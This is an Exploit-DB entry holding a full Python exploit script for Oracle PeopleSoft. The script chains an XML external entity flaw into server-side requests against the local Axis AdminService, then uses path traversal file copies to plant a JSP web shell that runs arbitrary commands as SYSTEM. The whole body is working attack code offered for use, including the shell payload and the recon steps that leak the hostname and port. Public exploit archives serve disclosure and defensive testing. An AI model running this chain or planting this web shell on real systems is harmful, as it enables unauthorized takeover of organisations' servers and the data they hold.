Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution

EDB-ID: 42026
Author: Ambionics Security
Published: 2017-05-17
CVE: N/A
Type: Remote
Platform: XML
Aliases: N/A
Advisory/Source: Link
Tags: Remote, XML External Entity (XXE)
Vulnerable App: N/A

 # Oracle PeopleSoft SYSTEM RCE 
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
import colorama
except ImportError:
colorama = None
else:
colorama.init()

COLORS = {
'+': colorama.Fore.GREEN,
'-': colorama.Fore.RED,
':': colorama.Fore.BLUE,
'!': colorama.Fore.YELLOW
}


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
"""Wrapper around requests.
"""

def __init__(self, url):
self.url = url
self.init()

def init(self):
self.session = requests.Session()
self.session.proxies = {
'http': PROXY,
'https': PROXY
}
self.session.verify = False

def get(self, url ,*args, **kwargs):
return self.session.get(url=self.url + url, *args, **kwargs)

def post(self, url, *args, **kwargs):
return self.session.post(url=self.url + url, *args, **kwargs)

def matches(self, r, regex):
return re.findall(regex, r.text)


class Recon(Browser):
"""Grabs different informations about the target.
"""

def check_all(self):
self.site_id = None
self.local_port = None
self.check_version()
self.check_site_id()
self.check_local_infos()

def check_version(self):
"""Grabs PeopleTools' version.
"""
self.version = None
r = self.get('/PSEMHUB/hub')
m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

if m:
self.version = m[0]
o(':', 'PTools version: %s' % self.version)
else:
o('-', 'Unable to find version')

def check_site_id(self):
"""Grabs the site ID and the local port.
"""
if self.site_id:
return

r = self.get('/')
m = self.matches(r, '/([^/]+)/signon.html')

if not m:
raise RuntimeError('Unable to find site ID')

self.site_id = m[0]
o('+', 'Site ID: ' + self.site_id)

def check_local_infos(self):
"""Uses cookies to leak hostname and local port.
"""
if self.local_port:
return

r = self.get('/psp/%s/signon.html' % self.site_id)

for c, v in self.session.cookies.items():
if c.endswith('-PORTAL-PSJSESSIONID'):
self.local_host, self.local_port, *_ = c.split('-')
o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
return

raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
"""Uses the XXE to install Deploy, and uses its two useful methods to get
a shell.
"""

def init(self):
super().init()
self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

def random_string(self, size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))

def url_service(self, payload):
return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
self.local_port,
urllib.parse.quote_plus(self.psoap(payload))
)

def war_path(self, name):
# This is just a guess from the few PeopleSoft instances we audited.
# It might be wrong.
suffix = '.war' if self.version and self.version >= '8.50' else ''
return './applications/peoplesoft/%s%s' % (name, suffix)

def pxml(self, payload):
"""Converts an XML payload into a one-liner.
"""
payload = payload.strip().replace('\n', ' ')
payload = re.sub('\s+<', '<', payload, flags=re.S)
payload = re.sub('\s+', ' ', payload, flags=re.S)
return payload

def psoap(self, payload):
"""Converts a SOAP payload into a one-liner, including the comment trick
to allow attributes.
"""
payload = self.pxml(payload)
payload = '!-->%s' % payload[:-1]
return payload

def soap_service_deploy(self):
"""SOAP payload to deploy the service.
"""
return """
<ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s" provider="java:RPC">
<ns1:parameter name="className" value="%s"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
""" % (self.service_name, CLASS_NAME)

def soap_service_undeploy(self):
"""SOAP payload to undeploy the service.
"""
return """
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s"/>
</ns1:undeployment>
""" % (self.service_name, )

def xxe_ssrf(self, payload):
"""Runs the given AXIS deploy/undeploy payload through the XXE.
"""
data = """
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "%s">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
""" % self.url_service(payload)
r = self.post(
'/PSIGW/HttpListeningConnector',
data=self.pxml(data),
headers={
'Content-Type': 'application/xml'
}
)

def service_check(self):
"""Verifies that the service is correctly installed.
"""
r = self.get('/pspc/services')
return self.service_name in r.text

def service_deploy(self):
self.xxe_ssrf(self.soap_service_deploy())

if not self.service_check():
raise RuntimeError('Unable to deploy service')

o('+', 'Service deployed')

def service_undeploy(self):
if not self.local_port:
return

self.xxe_ssrf(self.soap_service_undeploy())

if self.service_check():
o('-', 'Unable to undeploy service')
return

o('+', 'Service undeployed')

def service_send(self, data):
"""Send data to the Axis endpoint.
"""
return self.post(
'/pspc/services/%s' % self.service_name,
data=data,
headers={
'SOAPAction': 'useless',
'Content-Type': 'application/xml'
}
)

def service_copy(self, path0, path1):
"""Copies one file to another.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:copy
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:string">%s</in0>
<in1 xsi:type="xsd:string">%s</in1>
</api:copy>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (path0, path1)
response = self.service_send(data)
return '<ns1:copyResponse' in response.text

def service_main(self, tmp_path, tmp_dir):
"""Writes the payload at the end of the .xml file.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s.war</item>
<item xsi:type="xsd:string">something</item>
<item xsi:type="xsd:string">-addToEntityReg</item>
<item xsi:type="xsd:string"><![CDATA[%s]]></item>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
response = self.service_send(data)

def build_shell(self):
"""Builds a SYSTEM shell.
"""
# On versions >= 8.50, using another extension than JSP got 70 bytes
# in return every time, for some reason.
# Using .jsp seems to trigger caching, thus the same pivot cannot be
# used to extract several files.
# Again, this is just from experience, nothing confirmed
pivot = '/%s.jsp' % self.random_string(20)
pivot_path = self.war_path('PSOL') + pivot
pivot_url = '/PSOL' + pivot

# 1: Copy portletentityregistry.xml to TMP

per = '/WEB-INF/data/portletentityregistry.xml'
per_path = self.war_path('pspc')
tmp_path = '../' * 20 + 'TEMP'
tmp_dir = self.random_string(20)
tmp_per = tmp_path + '/' + tmp_dir + per

if not self.service_copy(per_path + per, tmp_per):
raise RuntimeError('Unable to copy original XML file')

# 2: Add JSP payload
self.service_main(tmp_path, tmp_dir)

# 3: Copy XML to JSP in webroot
if not self.service_copy(tmp_per, pivot_path):
raise RuntimeError('Unable to copy modified XML file')

response = self.get(pivot_url)

if response.status_code != 200:
raise RuntimeError('Unable to access JSP shell')

o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
def __init__(self, url):
super().__init__(url)


def o(s, message):
if colorama:
c = COLORS[s]
s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
x.check_all()
x.service_deploy()
x.build_shell()
except RuntimeError as e:
o('-', e)
finally:
x.service_undeploy()

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